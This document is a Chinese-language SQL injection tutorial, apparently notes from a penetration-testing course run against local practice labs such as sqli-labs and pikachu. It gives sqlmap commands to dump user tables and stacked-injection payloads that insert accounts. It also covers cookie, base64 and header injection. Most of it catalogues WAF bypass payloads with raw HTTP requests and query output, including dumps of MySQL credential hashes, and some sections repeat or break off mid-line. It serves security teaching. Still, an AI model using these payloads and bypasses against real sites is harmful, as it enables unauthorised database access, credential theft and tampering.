获取表 -D 指定数据库 --tables 获取表
sqlmap -u
"http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%
E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch

获取字段
在 sqlmap --columns 获取字典 -T 某个表
sqlmap -u
"http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%
E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --ba
sqlmap 查询账号和密码
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p
name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch
--dump 导出数据
-C 指定查询的字段

堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠
查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query
这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
select version();select database()
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改
数据库,添加数据库用户

堆叠注入代码分析

靶场启动 sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,
在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注
入。
进入 docker 容器
sudo docker exec -ti sqli /bin/bash

堆叠注入的利用

使用 id=1' and 1=2--+ id=1' and 1=1--+先确定是否存在注入。接着使用使用堆叠语
法进行检测。
-999' union select 1,2,(select group_concat(TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
靶场启动 sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,
在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注
入。
进入 docker 容器
sudo docker exec -ti sqli /bin/bash
访问这个地址
http://192.168.222.132:7766/Less-38/

image-20221001183657228

堆叠注入利用

使用 id=1' and 1=2--+ id=1' and 1=1--+先确定是否存在注入。接着使用使用堆叠语
法进行检测。
-999' union select 1,2,(select group_concat(TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
把库里所有的表获取出来,再获取字段
-999' union select 1,2,(select group_concat(column_name) from
information_schema.columns where TABLE_NAME='users' limit 1)--+
知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表 直
接添加管理员账号即可登录后台。
id=1%27;INSERT%20into%20users%20values(2
0,%27moonsec%27,%27123456%27)--+
id=-999';insert into users(id,username,password)values(1000,'moonsec','123456')--+

id=1' ;insert into users values(20,'moon',)
访问 1000 即可访问到刚刚添加的账号

二次注入攻击

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次 注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞 相同的攻击威力

二次注入原理

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了
addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但
是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需
要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处
理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带
有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形
成了二次注入.

image-20221001185611277

mysql_escape_string 函数会将特殊字符进行过滤 如' 经过转义就成了\' 然后用
insert into 存入在数据库中。
在 login.php 查看源码 登录获取用 mysql_escape_string 对输入的参数进行转义
转义之后在数据库中查找指定的账号和密码 再传入到 session 里。

宽字节注入

宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。
一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不
对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字
符集 gbk 会导致宽字节注入,从而逃逸 gpc
前提条件
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字
节注入

深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL
语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字
符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没
有这种字符(也就不存在宽字节注入)

黑盒环境下的宽字节攻击

宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可
-1%df%27%20and%201=1--+ 页面是否存在乱码
-1%df%27%20or%20sleep(10)--+ 页面是否存在延时
均可以测试存在宽字节注入
-1%df%27%20union%20select%201,version(),database()--+
http://192.168.248.128:7766/Less-32/?id=id=-1%df%27%20union%20select%201,version(),database()--+

image-20221002104629963

COOKIE注入

COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再
url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。
在 burpsuite 显示 传递的方式。
<?php
echo "get ---";
echo $_GET['a'];
echo "post ---";
echo $_POST['b'];
echo "cookie ---";
echo $_COOKIE['c']

cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行 测试,抓取 cookie 包进行安全测试。 用 cookie 提交攻击输入攻击语句进行检测是否存在 SQL 注入

get 在 url 拦 即使 提交的方法是 post 只要在 url 拦上都可以传递 get post 在正文里 提交的方法必须存在 post cookie 有没有 post 都可以

image-20221002131732138

两次提交不同注入语句网页返回不一样。
使用联合查询 查询敏感数据
GET /Less-20/index.php HTTP/1.1
Host: 192.168.0.101:7766
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7766/Less-20/
Connection: close
Cookie: uname=-admin'union+select+1,2,user()-- ;
PHPSESSID=89ja0kepcq3k1hi41elmpk8eg3
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

得到当前用户。
GET /Less-20/index.php HTTP/1.1
Host: 192.168.0.145:7766
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.0.145:7766
Connection: close
Referer: http://192.168.0.145:7766/Less-20/
Upgrade-Insecure-Requests: 1
Cookie: uname=-admin'+union+select+1,2,(select+concat(username,0x3a,password)+from+users+limit+1)%23
账号和密码 Dumb:Dumb

base64 编码注入

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。
数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,
如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。
在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进
行解码,base64_decode()这个函数对 base64 进行解码。
编码解码流程
1 ->base64 编码->MQ==->base64 解密->1
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字
符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执
行,从而形式 SQL
 在代码中分析 base64 注入
 从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来如果有
使用$_COOKIE['uname']获取 cookis 传过来的账号,再拼接到 SQL 带入查询
这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进
行解码,所以$cookee 传递过来的数据必须先进行编码,否则解码不了会导致出
错

黑盒环境下对 base64 编码进行注入

首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。
如果存在类似==等,可以用 base64 解码进行测试。
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==
本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合
用 burpsuite 抓包后修改 cookie 参数提交
第一次提交页面返回存在 admin 第二次提交没有 admin 两个页面返回的结果不
相同所以存在 SQL 注入。
本代码存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。
admin')and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- 进行 base64 编码
是
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjd
CB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
提交获取敏感信息

xff 注入攻击

在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注
册的时候,如果存在安全隐患 会出现错误页面或者报错。从而导致注册或者登
录用户失败。
burpsuite 抓包 提交 输入检测语句
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
两次提交返回不一样 存在 SQL 注入漏洞
获取敏感信息
X-Forwarded-for: 127.0.0.11'union select 1,2,3,user()#
输入提交包 后看到页面返回 root@loclhost

SQL 注入绕过技术

SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf
加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些
产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入
参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检
测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐
成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,
安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会
详细介绍针对 waf 的拦截注入的绕过方法

空格字符绕过

两个空格代替一个空格,用 Tab 代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容
不注释*/

大小写绕过

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4

浮点数绕过注入

select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4;

NULL 值绕过

select \N; 代表 null
mysql> select * from users where id=\Nunion select 1,2,3,\N;
+----+----------+----------+-------+
| id | username | password | level |
+----+----------+----------+-------+
|  1 | 2        | 3        |  NULL |
+----+----------+----------+-------+
1 row in set, 2 warnings (0.00 sec)


select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;
+----+----------+----------+-------+
| id | username | password | level |
+----+----------+----------+-------+
|  1 | 2        | 3        |  NULL |
+----+----------+----------+-------+
1 row in set, 2 warnings (0.00 sec)



引号绕过

select * from users where id='1';
select * from users where id="1";
mysql> select * from users where id="1";
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

也可以将字符串转换成 16 进制 再进行查询。

+--------------+
| hex("admin") |
+--------------+
| 61646D696E   |
+--------------+
1 row in set (0.00 sec)

mysql> select * from users where username="admin";
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

mysql> select * from users where username=0x61646D696E;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)


如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过

select * from users where id=-1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
mysql> select * from users where id=-1 union select 1,2,(select group_concat(column_name)
    -> from information_schema.columns where TABLE_NAME='users' limit 1),4;
+----+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+
| id | username | password                                                                                                                                                                                                                                                                        | level |
+----+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+
|  1 | 2        | id,login,password,email,secret,activation_code,activated,reset_code,admin,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,email,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level |     4 |
+----+----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------+
1 row in set (0.02 sec)

添加库名绕过

以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦
截[库名].[表名]这种模式
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)
from mysql.user;
+----+----------+----------+-----------------------------------------------------------+
| id | username | password | level                                                     |
+----+----------+----------+-----------------------------------------------------------+
|  1 | 2        | 3        | root*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9             |
|  1 | 2        | 3        | mysql.session*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE    |
|  1 | 2        | 3        | mysql.sys*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE        |
|  1 | 2        | 3        | debian-sys-maint*C032CD8255B8ADF7AF529689127ED91A690EF518 |
+----+----------+----------+-----------------------------------------------------------+

去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;
---+----------+----------+-------+
| id | username | password | level |
+----+----------+----------+-------+
|  1 | 2        | 3        |     4 |
+----+----------+----------+-------+
1 row in set (0.00 sec)

反引号绕过

在 mysql 可以使用 这里是反引号 绕过一些 waf 拦截。字段可以加反引号或者
不加,意义相同。

insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');
insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');

脚本语言特性绕过

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的
特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 回去匹配第一个 id 参数 1%00 %00 是截断字符,waf 会自动截断 从而
不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注
入拦截。
其他语言特性

image-20221002144950982

逗号绕过

目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样
SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。
绕过方法如下

substr 截取字符串

select(substr(database() from 1 for 1)); 查询当前库第一个字符
查询 m 等于 select(substr(database() from 1 for 1))页面返回正常
select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号
select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));
mysql> select(substr(database() from 1 for 10));
+------------------------------------+
| (substr(database() from 1 for 10)) |
+------------------------------------+
| pikachu                            |
+------------------------------------+
1 row in set (0.00 sec)

min 截取字符串

select mid(database() from 1 for 1); 这个方法如上。
select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
+------------------------------+
| mid(database() from 1 for 1) |
+------------------------------+
| p                            |
+------------------------------+

使用 join 绕过

使用 join 自连接两个表
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
a 和 b 分别是表的别名
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;

+----+----------+----------------+-------+
| id | username | password       | level |
+----+----------+----------------+-------+
|  1 | 2        | root@localhost |     4 |
+----+----------+----------------+-------+
1 row in set (0.00 sec)

like 绕过

使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是
要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截

mysql> select * from users where id=1 and (select user() like 'r%');
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+

limit offset 绕过

SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1
返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数
据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截
了。
mysql> select * from users limit 1 offset 1;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  2 | pikachu  | 670b14728ad9902aecba32e22fa4f6bd |     2 |
+----+----------+----------------------------------+-------+
1 row in set (0.01 sec)

or and xor not 绕过

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2
id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替
字符如下
and 等于&&
or 等于 ||
not 等于 !
xor 等于|
所以可以转换成这样
id=1 and 1=1 等于 id=1 && 1=1
id=1 and 1=2 等于 id=1 && 1=2
id=1 or 1=1 等于 id=1 || 1=1
id=0 or 1=0 等于 id=0 || 1=0
mysql> select * from users where id =1 && 1!=2;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

mysql> select * from users where id =1 || 1=1;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
|  2 | pikachu  | 670b14728ad9902aecba32e22fa4f6bd |     2 |
|  3 | test     | e99a18c428cb38d5f260853678922e03 |     3 |
+----+----------+----------------------------------+-------+
3 rows in set (0.00 sec)

可以绕过一些 waf 拦截继续对注入点进行安全检测
也可以使用运算符号
id=1 && 2=1+1
id=1 && 2=1-1
mysql> select * from users where id=1 && 2=1+1;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

ascii 字符对比绕过

许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查
询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;
mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');

双关键词绕过

有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐
患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过)
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。

二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会
拦截的。
-1 union select 1,2,3,4#
第一次转码
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32
%2c%33%2c%34%23
第二次转码
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2
5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%
36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33
%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤
的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。

多参数拆分绕过

多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截

多参数拆分绕过

多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截

那么可以使用参数拆份请求绕过 waf 拦截

两个参数的值可以控,分解 SQL 注入关键字 可以组合一些 SQL 注入语句突破
waf 拦截。

使用生僻函数绕过

使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用
的 updatexml()函数
select polygon((select * from (select * from (select @@version) f) x));

分块传输绕过

一、什么是 chunked 编码?
	分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)
中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在
应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结
束。
	传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器
可以通过 Content-Length 的长度信息,判断出响应实体已结束
Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,
但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。
这时候要想准确获取长度,只能开一个足够大的 buffer,等内容全部生成好再计
算。这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。
我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块
编码(Transfer-Encoding: chunked)。
	对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需
要先缓存生成的内容,再计算总长度填充到 Content-Length,再发送整个数据内
容。这样显得不太灵活,而使用分块编码则能得到改观。
分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对
于压缩传输传输而言,可以一边压缩一边传输。
二、如何使用 chunked 编码
	如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方
式。
	接下来会发送数量未知的块,每一个块的开头都有一个十六进制的数,表明这个
块的大小,然后接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有
CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以
有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是
可以发送可选的尾部,包括消息头字段。
消息最后以 CRLF 结尾。
	在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。
这时,报文中的实体需要改为用一系列分块来传输。
分块传输 使用
每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的
CRLF(\r\n),也不包括分块数据结尾的 CRLF(\r\n)。
最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。
例:
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
23\r\n
This is the data in the first chunk\r\n
1A\r\n
and this is the second one\r\n
3\r\n
con\r\n
8\r\n
sequence\r\n
0\r\n
\r\n
用 burpsuite 抓包提交分析 首先原生包 id=1&submit=1 查询到用户 id 为 1 的值
使用分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传
送
第一行是长度 第二行是字符串 0 表示传输结束 后面跟上两个空格

信任白名单绕过

有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可
以利用这个特点,可以试试白名单绕过。
白名单通常有目录
/admin
/phpmyadmin
/admin.php
http://192.168.0.115/06/vul/sqli/sqli_str.php?a=/admin.php&name=vince+&submit=1
http://192.168.0.165/06/vul/sqli/sqli_str.php/phpmyadmin?name=%27%20union%20s

静态文件绕过

除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。
例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会
进行检测从而绕过 waf 拦截。
/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1

pipline 绕过注入

http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服
务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),
其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段
决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需
要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连
接不断开,直到所发送内容结束 Connection 为 close 为止
用 burpsuite 抓包提交 复制整个包信息放在第一个包最后,把第一个包 close 改
成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。

image-20221002163404969

第一个包参数的字符要加上长度接着提交即可。有些 waf 会匹配第二个包的正属
于正常参数,不会对第一个包的参数进行检测,这样就可以绕过一些 waf 拦截。

image-20221002163423351

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.248.130
Content-Length: 39   # 改这个长度,绕过waf
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.248.130
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.248.130/06/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=90hflaso5rehb0j4n7b5cc8ob4
Connection: keep-alive

id=-1+union+select+1,user()++&submit=1

利用 multipart/form-data 绕过

在 http 头里的 Content-Type 提交表单支持三种协议
application/x-www-form-urlencoded 编码模式 post 提交
multipart/form-data 文件上传模式
text/plain 文本模式
文件头的属性 是传输前对提交的数据进行编码发送到服务器。
其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消
息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
Content-Type: multipart/form-data;
boundary=---------------------------28566904301101419271642457175
boundary 这是用来匹配的值
Content-Disposition: form-data; name="id" 这也能作为 post 提交
所以程序会接收到构造的 SQL 注入语句-1 union select 1,user()
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.126.129
Content-Length: 307
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.126.129
Content-Type:  multipart/form-data;boundary=---------------------------38566904301101419271642457175
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.126.129/06
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tu13d1m9fmlp8ko5btcmddp464
Connection: close

---------------------------38566904301101419271642457175
Content-Disposition: form-data; name="id" 

-1 union select 1,user()--+
---------------------------38566904301101419271642457175
Content-Disposition: form-data; name="submit" 
submit
---------------------------38566904301101419271642457175--

order by 绕过

当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
select * from users where id=1 into @a,@b,@c,@d;

http 相同参数请求绕过

waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹
配规则,请求被拦截,变换请求方式有几率能绕过检测。如果程序中能同时接收
get、post 如果 waf 只对 get 进行匹配拦截,没有对 post 进行拦截。
<?php
echo $_REQUEST['id'];
?>

application/json 或者 text/xml 绕过

有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行 json 格式通
常不会被拦截。所以可以绕过 waf

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
